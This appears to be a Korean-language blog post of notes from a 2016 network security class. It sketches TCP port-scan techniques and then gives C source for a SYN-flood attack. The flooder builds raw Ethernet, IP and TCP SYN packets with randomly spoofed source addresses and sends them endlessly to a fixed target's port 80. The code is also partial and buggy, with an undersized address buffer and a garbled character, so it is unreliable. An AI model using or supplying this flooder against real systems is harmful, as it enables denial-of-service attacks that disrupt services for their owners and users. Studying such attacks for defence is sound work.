2016. 5. 18. 16:55ㆍ네트워크 보안 수업/네트워크 취약점 분석
TCP Scanning: TCP flag를 이용
- 열려있는 포트
* half-open scan
client ---------------> server( 1 ~ 65535 )
syn
if open
client <--------------- server( 1 ~ 65535 )
syn, ack
else
client <--------------- server( 1 ~ 65535 )
rst, ack
- 닫혀있는 포트
FIN Scan
client ---------------> server( 1 ~ 65535 )
FIN
NULL Scan
client ---------------> server( 1 ~ 65535 )
NULL
XMAS Scan
client ---------------> server( 1 ~ 65535 )
DDOS ( Syn Flooding )
- 대량의 syn 패킷을 이용한 공격기법
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int main(int argc, char argv[])
{
int src;
char spoof_ip[8] = {0,};
int a;
int b;
int c;
int d;
srand((unsigned)time(NULL));
while(1) {
a = rand() % 254 + 1;
b = rand() % 254 + 1;
c = rand() % 254 + 1;
d = rand() % 254 + 1;
sprintf(spoof_ip, "%d.%d.%d.%d", a, b, c, d);
printf("spoof ip: %s \n", spoof_ip);
sleep(1);
}
return 0;
}
int main(int argc, char *argv[])
{
char spoof_ip[8] = {0,};
int a;
int b;
int c;
int d;
int sock = 0;
struct sockaddr_ll sll;
struct eth_header eth;
struct ip_header ip;
struct tcp_header tcp;
struct pseudo_header pseudo;
char data[sizeof( eth ) + sizeof( ip ) + sizeof( tcp )] = {0,};
//create socket
sock = socket(PF_PACKET, SOCK_RAW, 0);
//socket struct
sll.sll_family = PF_PACKET;
sll.sll_ifindex = if_nametoindex("enp0s3");
sll.sll_halen = 6;
srand((unsigned)time(NULL));
while(1){
a = rand() % 254 + 1;;
b = rand() % 254 + 1;;
c = rand() % 254 + 1;;
d = rand() % 254 + 1;
sprintf(spoof_ip, "%d.%d.%d.%d", a,b,c,d);
//ether header
//target mac address
eth.dst[0] = 0x50;
eth.dst[1] = 0x6a;
eth.dst[2] = 0x03;
eth.dst[3] = 0xaf;
eth.dst[4] = 0x2a;
eth.dst[5] = 0x98;
//src mac address
eth.src[0] = 0x08;
eth.src[1] = 0x00;
eth.src[2] = 0x27;
eth.src[3] = 0x25;
eth.src[4] = 0x5d;
eth.src[5] = 0x35;
//type
eth.type = htons(0x0800);
//ip header
//ver_len
ip.ver = 0x4;
ip.hlen = sizeof( ip ) >> 2;
//service
ip.service = 0x00;
//total
ip.total = htons( sizeof( ip ) + sizeof( tcp ));
//id
ip.id = htons( 0x1234 );
//flag & offset
ip.flag = 0x40;
ip.offset = 0x00;
//ttl
ip.ttl = 0x80;
//type
ip.type = 0x06;
//chk
ip.chk = 0x0000;
//src ip
ip.src = inet_addr(spoof_ip);
//dst ip
ip.dst = inet_addr("192.168.15.254");
ip.chk = csum( (unsigned short *)&ip, sizeof( ip ) );
//tcp header
//type
tcp.src_port = htons(0xd1ef);
//code
tcp.dst_port = htons(0x0050);
//seq number
tcp.seq[0] = 0x83;
tcp.seq[1] = 0xe6;
tcp.seq[2] = 0x05;
tcp.seq[3] = 0xf2;
//ack number
tcp.ack[0] = 0x00;
tcp.ack[1] = 0x00;
tcp.ack[2] = 0x00;
tcp.ack[3] = 0x00;
//header length
tcp.length = sizeof(tcp)>>2;
tcp.reserve = 0x00;
//flag
tcp.flag = 0x02;
//window
tcp.window = htons(0xffff);
//chksum
tcp.chksum = 0x0000;
//dummy
tcp.dummy = 0x0000;
pseudo.src = ip.src;
pseudo.dst = ip.dst;
pseudo.zero = 0;
pseudo.protocol = 0x06;
pseudo.length = htons(sizeof(tcp));
memcpy( &pseudo.tcp, &tcp, sizeof(tcp));
tcp.chksum = csum((unsigned short *)&pseudo, sizeof(pseudo));
memcpy( data, ð, sizeof( eth ) );
memcpy( data + sizeof( eth ), &ip, sizeof( ip ) );
memcpy( data + sizeof( eth ) + sizeof( ip ), &tcp, sizeof( tcp ) );
int i = 0;
unsigned char *ptr = data;
for( i = 0; i < sizeof( data ); i++){
if( i != 0 && i % 16 ==0 ){ printf("\n"); }
printf("%02x ", *(ptr+i));
}
printf("\n");
printf("soopf ip: %s \n", spoof_ip);
//send
sendto(sock, data, sizeof(data), 0, (struct sockaddr *)&sll, sizeof(sll));
sleep (1);
}
return 0;
}
'네트워크 보안 수업 > 네트워크 취약점 분석' 카테고리의 다른 글
네트워크 보안 수업 16일차 - 코리아 정보보안 IT학원 (0) | 2016.05.20 |
---|---|
네트워크 보안 수업 15일차 - 코리아 정보보안 IT학원 (0) | 2016.05.19 |
네트워크 보안 수업 12일차 - 코리아 정보보안 IT학원 (0) | 2016.05.16 |
네트워크 보안 수업 11일차 - 코리아 정보보안 IT학원 (0) | 2016.05.12 |
네트워크 보안 수업 10일차 - 코리아 정보보안 IT학원 (0) | 2016.05.11 |